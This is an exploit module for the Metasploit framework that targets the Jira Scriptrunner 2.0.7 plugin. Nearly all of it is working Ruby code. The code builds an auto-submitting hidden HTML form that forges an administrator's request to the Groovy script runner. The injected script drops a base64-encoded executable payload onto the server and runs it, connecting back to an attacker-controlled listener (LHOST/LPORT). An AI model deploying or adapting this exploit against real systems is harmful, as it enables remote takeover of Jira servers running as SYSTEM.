Jira Scriptrunner 2.0.7 – Cross-Site Request Forgery / Remote Code Execution (Metasploit)
#[Author] Ben 'highjack' Sheppard #[Title] Jira Scriptrunner 2.0.7 <= CSRF/RCE #[Twitter] @highjack_ #[Author Url] http://bensheppard.net/jira-scriptrunner-2-0-7/ #[Vendor Url] https://marketplace.atlassian.com/plugins/com.onresolve.jira.groovy.groovyrunner #[Install] To use this copy it into ~/.msf4/modules/exploits/windows/http/scriptrunner.rb require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize super( 'Name' => 'Jira Scriptrunner 2.0.7 <= CSRF/RCE', 'Description' => %q{This jira plugin does notuse the built in jira protections (websudo or csrf tokens) to protect the page from CSRF. This page is supposed to be used by admins to automate tasks, it will accept java code and by default in a windows environment jira will be run as system}, 'Author' => [ 'Ben \'highjack\' Sheppard'], 'License' => MSF_LICENSE, 'Version' => 'Revision: 1 ', 'Platform' => [ 'win'], 'Targets' => [ ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }] ], 'DefaultTarget' => 0 ) register_options( [ OptString.new('RHOST', [true, 'Remote host of jira box']), OptPort.new('RPORT', [true, 'Remote port of jira box', 8080]), OptString.new('LHOST', [true, 'Multihandler host to listen on']), OptBool.new('IS_SSL', [true, 'Does the target use ssl?', false]), OptPort.new('LPORT', [true, 'Multihandler port to listen on',4444]) ], self.class) end def csrf(url) shell = Rex::Text.rand_text_alpha(rand(8)+3) + ".exe" opts = {:arch => target.arch, :platform => target.platform} encodedPayload = Rex::Text.encode_base64(generate_payload_exe(opts)) payloadLength = encodedPayload.length chunkLength = 500 stringBuffer = "" for i in (0..payloadLength / chunkLength) if payloadLength < i+chunkLength position = payloadLength-i else position = chunkLength end stringBuffer = stringBuffer + "encodedPayload.append(\"" + encodedPayload[i*chunkLength,position] + "\");\n" end jiraPayload = %Q| import sun.misc.BASE64Decoder; import java.io.*; Runtime rt = Runtime.getRuntime(); try { StringBuffer encodedPayload = new StringBuffer(); #{stringBuffer} String sEncodedPayload = new String(encodedPayload.toString()); BASE64Decoder b64decoder = new BASE64Decoder(); byte[] decodedPayload = b64decoder.decodeBuffer(sEncodedPayload); BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream("#{shell}")); output.write(decodedPayload); output.close(); } catch (Exception e) { return(e); } try { | jiraPayload = jiraPayload + "rt.exec(\"#{shell}\");}catch (Exception e){return (e);}" html = %Q| <html> <head></head> <body> <form action='#{url}/secure/admin/groovy/GroovyRunner.jspa' method='POST' id='groovy'> <input type='hidden' name='scriptLanguage' value='Groovy' /> <div style='display:none'> <textarea name='script'>#{jiraPayload}</textarea> </div> <input type='hidden' name='Run&32;now' value='Run&32;now' /> </form> <script>document.getElementById('groovy').submit();</script> </body> </html> | return html end def getUrl() rhost = datastore['RHOST'] rport = datastore['RPORT'] isSsl = datastore['IS_SSL'] if isSsl == true url = 'https://' else url = 'http://' end url = url + rhost + ':' + rport return url end def on_request_uri(cli, request) url = getUrl() print_status("\n#{self.name} handling response\n") send_response_html( cli, csrf(url), { 'Content-Type' => 'text/html' } ) return end end |